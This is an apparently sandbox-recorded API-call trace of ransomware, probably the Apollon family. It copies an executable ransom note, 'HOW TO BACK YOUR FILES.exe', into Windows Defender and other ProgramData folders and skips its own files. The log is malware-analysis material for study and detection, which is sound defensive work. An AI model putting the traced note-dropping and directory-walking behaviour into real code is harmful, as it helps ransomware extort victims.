	[0050.766] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine"
	[0050.766] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine"
	[0050.767] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.767] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\quarantine\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.767] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.767] GetLastError () returned 0x0
	[0050.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.767] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.767] CloseHandle (hObject=0x15c) returned 1
	[0050.767] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.767] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f89a110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.767] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.768] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.768] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy"
	[0050.768] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy"
	[0050.768] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.768] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\localcopy\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.768] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.768] GetLastError () returned 0x0
	[0050.768] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.768] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.768] CloseHandle (hObject=0x15c) returned 1
	[0050.768] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.769] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f89a110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.769] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.769] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.769] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates"
	[0050.769] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates"
	[0050.769] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.769] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.769] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.769] GetLastError () returned 0x0
	[0050.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.769] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.770] CloseHandle (hObject=0x15c) returned 1
	[0050.770] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.770] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f89a110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.770] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.770] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.770] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Backup" | out: lpString1="Backup") returned="Backup"
	[0050.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0050.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b90d8
	[0050.770] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0050.770] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f89a110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.770] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.770] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f8c0270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f8c0270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Updates", cAlternateFileName="")) returned 1
	[0050.770] lstrcmpiW (lpString1="Updates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.770] lstrcmpiW (lpString1="Updates", lpString2="Apollon865.txt.exe") returned 1
	[0050.770] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Updates" | out: lpString1="Updates") returned="Updates"
	[0050.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe08
	[0050.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x5c8f30
	[0050.770] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe10 | out: ListHead=0x5b76b0, ListEntry=0x59fe10) returned 0x59fdf0
	[0050.770] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f8c0270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f8c0270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", cAlternateFileName="{D2B0B~1")) returned 1
	[0050.770] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.770] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="Apollon865.txt.exe") returned -1
	[0050.770] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="{D2B0B133-42ED-44D3-809A-46EBB62BA863}" | out: lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}") returned="{D2B0B133-42ED-44D3-809A-46EBB62BA863}"
	[0050.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe28
	[0050.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc8) returned 0x599450
	[0050.771] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe30 | out: ListHead=0x5b76b0, ListEntry=0x59fe30) returned 0x59fe10
	[0050.771] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f8c0270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f8c0270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", cAlternateFileName="{D2B0B~1")) returned 0
	[0050.771] FindClose (in: hFindFile=0x5ca4d0 | out: hFindFile=0x5ca4d0) returned 1
	[0050.771] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fe30
	[0050.771] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}"
	[0050.771] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}"
	[0050.771] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.771] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.771] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.771] GetLastError () returned 0x0
	[0050.771] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.771] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.771] CloseHandle (hObject=0x15c) returned 1
	[0050.772] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.772] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f8c0270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f8c0270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.772] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.772] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.772] lstrcpyW (in: lpString1=0x2d3e618, lpString2="mpasbase.vdm" | out: lpString1="mpasbase.vdm") returned="mpasbase.vdm"
	[0050.772] lstrlenW (lpString="mpasbase.vdm") returned 12
	[0050.772] lstrlenW (lpString="Apollon865") returned 10
	[0050.772] lstrcmpiW (lpString1="asbase.vdm", lpString2="Apollon865") returned 1
	[0050.772] lstrcpyW (in: lpString1=0x2d3e618, lpString2="mpasdlta.vdm" | out: lpString1="mpasdlta.vdm") returned="mpasdlta.vdm"
	[0050.772] lstrlenW (lpString="mpasdlta.vdm") returned 12
	[0050.772] lstrlenW (lpString="Apollon865") returned 10
	[0050.772] lstrcmpiW (lpString1="asdlta.vdm", lpString2="Apollon865") returned 1
	[0050.772] lstrcpyW (in: lpString1=0x2d3e618, lpString2="mpengine.dll" | out: lpString1="mpengine.dll") returned="mpengine.dll"
	[0050.772] lstrlenW (lpString="mpengine.dll") returned 12
	[0050.772] lstrlenW (lpString="Apollon865") returned 10
	[0050.772] lstrcmpiW (lpString1="engine.dll", lpString2="Apollon865") returned 1
	[0050.772] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates"
	[0050.772] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates"
	[0050.772] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.772] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\updates\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.773] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.773] GetLastError () returned 0x0
	[0050.773] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.773] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.773] CloseHandle (hObject=0x15c) returned 1
	[0050.773] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.773] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f8c0270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f8c0270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.773] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.773] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.773] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup"
	[0050.774] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup"
	[0050.774] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.774] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\backup\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.774] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.774] GetLastError () returned 0x0
	[0050.774] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.774] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.774] CloseHandle (hObject=0x15c) returned 1
	[0050.774] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.774] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f8e63d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f8e63d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.775] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.775] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.775] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\VISIO", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\VISIO") returned="C:\\ProgramData\\Microsoft\\VISIO"
	[0050.775] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\VISIO" | out: lpString1="C:\\ProgramData\\Microsoft\\VISIO") returned="C:\\ProgramData\\Microsoft\\VISIO"
	[0050.775] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.775] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\VISIO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\visio\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.775] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.775] GetLastError () returned 0x0
	[0050.775] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.775] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.775] CloseHandle (hObject=0x15c) returned 1
	[0050.776] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.776] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\VISIO\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f90c530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.776] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.776] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.776] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Vault", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Vault") returned="C:\\ProgramData\\Microsoft\\Vault"
	[0050.776] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Vault" | out: lpString1="C:\\ProgramData\\Microsoft\\Vault") returned="C:\\ProgramData\\Microsoft\\Vault"
	[0050.776] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.776] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Vault\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\vault\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.776] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.776] GetLastError () returned 0x0
	[0050.776] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
